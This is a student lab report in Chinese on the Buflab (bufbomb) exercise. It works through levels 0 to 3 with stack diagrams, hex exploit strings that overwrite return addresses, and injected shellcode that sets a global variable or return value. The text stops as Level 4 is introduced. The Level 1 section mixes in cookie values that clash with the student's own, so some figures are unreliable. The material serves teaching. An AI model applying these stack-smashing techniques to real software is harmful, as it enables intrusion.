当前位置:文档之家› 缓冲区溢出攻击实验

缓冲区溢出攻击实验

HUNAN UNIVERSITY课程实验报告题目: Buflab-handout学生姓名学生学号专业班级计科1403(一)实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二)实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。

bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。

要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。

从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#define NORMAL_BUFFER_SIZE 32int getbuf(){char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。

2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。

Makecookie是产生一个userid。

输入的相应的用户名产生相应的cookie值。

**我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test(){int val;// Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();// Check for corrupted stackif (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);} else {printf("Dud: getbuf returned 0x%x\n", val);}}smoke源码:void smoke(){printf("Smoke!: You called smoke()\n");validate(0);exit(0);}对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp))传给了Gets()。

画出栈结构为(为绘制图简单,我们将相应的地址直接写在栈内部,如ebp-4写在方框中,实际上应当是这个地址指向这块内存区域,接下来的绘图都将采用这种方式):易知(ebp – 28)距离getbuf函数的返回地址之间有44个字节,我们只需要在将getbuf 返回地址的字修改为smoke函数的入口地址,这样我们就可以在执行完getbuf函数之后执行smoke函数。

我们通过反汇编得到smoke函数的入口地址为0x08048e0a:我们构造文件a.txt,里面存放数据为(本人电脑为小端机,这里需要的也是小端):31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 330b 8e 04 08之所以将0x08048e0a改成8e04080b,是因为0a对应的是换行符,会使该字符无法读入而结束Gets函数。

运行结果为(输入命令为./hex2raw <a.txt | ./bufbomb -u 201408010321):Level1:题意:从英文PDF文件中我们可以理解到,这关的目的是进入fizz函数,并通过makecookie计算出userid的cookie值,本人产生的cookie为0x5eb52e1c。

FIZZ源码如下:void fizz(int val){if (val == cookie) {printf("Fizz!: You called fizz(0x%x)\n", val);validate(1);} elseprintf("Misfire: You called fizz(0x%x)\n", val);exit(0);}解答:反汇编得到fizz函数的入口地址为0x08048daf:由fizz的汇编代码可得,push%ebp之后,%esp与%ebp指向同一个位置,而此时用%ebp+8表示输入的参数。

而我们由上面fizz函数的代码可得,要使cookie值等于参数值。

在调用fizz函数后,开辟一个新的栈,此时参数位置距离fizz函数首地址还有一个空,需要用00 00 00 00来覆盖(覆盖数据随便,只要不影响程序运行就可以),将cookie值付给参数。

除了要将这个值用相同的方式输入到getbuf函数中返回地址处外,还应将cookie值0x1005b2b7输入到在fizz函数中fizz函数返回地址的上一个4字节处即第一个参数处。

getbuf函数输入时fizz函数的地址值和cookie值是不变的,(不能输入0a) ,共需要输入56(0x28+0x4+0x4+0x4+0x4)个字节,其中前44个可以任意输入.getbuf返回地址处输入应为0x08048daf(小端法:af 8d 04 08)fizz返回地址处可以随意,故输入00 00 00 00 第1个参数处为cookie值0x4169155f(小端法5f 15 69 41与level0类似,不过fizz需要传入一个参数。

我们可以画出栈的结构图:31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 33af 8d 04 0800 00 00 001c 2e b5 5e其中0x5eb52e1c为id201408010321对应的cookie的值。

运行结果为:Level2:题意:令getbuf调用后不执行test函数,而是执行bang函数(默认会执行test函数),但是同时我们要修改global_value的值为cookie值。

然而,global_value是一个全局变量,它没有储存再栈里面。

所以在程序执行过程中,只能通过赋值语句来改变global_value 的值。

即这次我们不仅要让函数跳到bang中,而且要模拟一个函数调用来进行赋值。

bang函数的源码为:int global_value = 0;void bang(int val){if (global_value == cookie) {printf("Bang!: You set global_value to 0x%x\n", global_value);validate(2);}elseprintf("Misfire: global_value = 0x%x\n", global_value);exit(0);}解答:首先我们反汇编bang函数:从中我们可以得知v alue存放在0x804d10c,而cookie存放在0x804d104处。

写出代码:movl $0x5eb52e1c,%eax //将cookie值存入eax寄存器movl %eax,0x804d10c //将eax中的(cookie)值存入global_value的地址pushl $0x08048d52 //将bang作为返回地址压栈ret //通过ret调用改变eip转到bang函数中我们使用objdump将上面代码转化成二进制。

用objdump将.S(汇编)文件转化为.o (二进制)文件,然后显示出来。

将getbuf的返回地址改成buf的首地址运行,这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数(指令),再通过恶意函数中的ret指令跳转原栈中bang的入口地址,再进入bang函数中执行。

我们得到buf的首地址为0x55683968:构造文件3.txt:b8 1c 2e b5 5ea3 0c d1 04 0868 52 8d 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0068 39 68 55运行结果为:Level3:题意:这次要求getbuf调用后,返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时要让test函数调用getbuf后的返回值(val)为自己的cookie。

解答:采用类似level2中的解法,利用恶意代码去修改变量val的值。

然后改变程序的执行情况。

反汇编得到指向test中的getbuf调用后一条指令我们填写汇编代码:movl $0x5eb52e1c,%eax //返回cookie值pushl $0x08048e50 //返回地址指向test中的getbuf调用后一条指令ret //返回test继续执行反汇编上述代码:由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值,通过gdb得到保存的ebp寄存器指向的值并结合上一题的解题思路:构造文件4.txt:b8 1c 2e b5 5e68 50 8e 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00C0 39 68 5568 39 68 55运行结果为:Level4:题意:最后一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,此时会进入testn 和getbufn函数而不是test和getbuf函数。

相关主题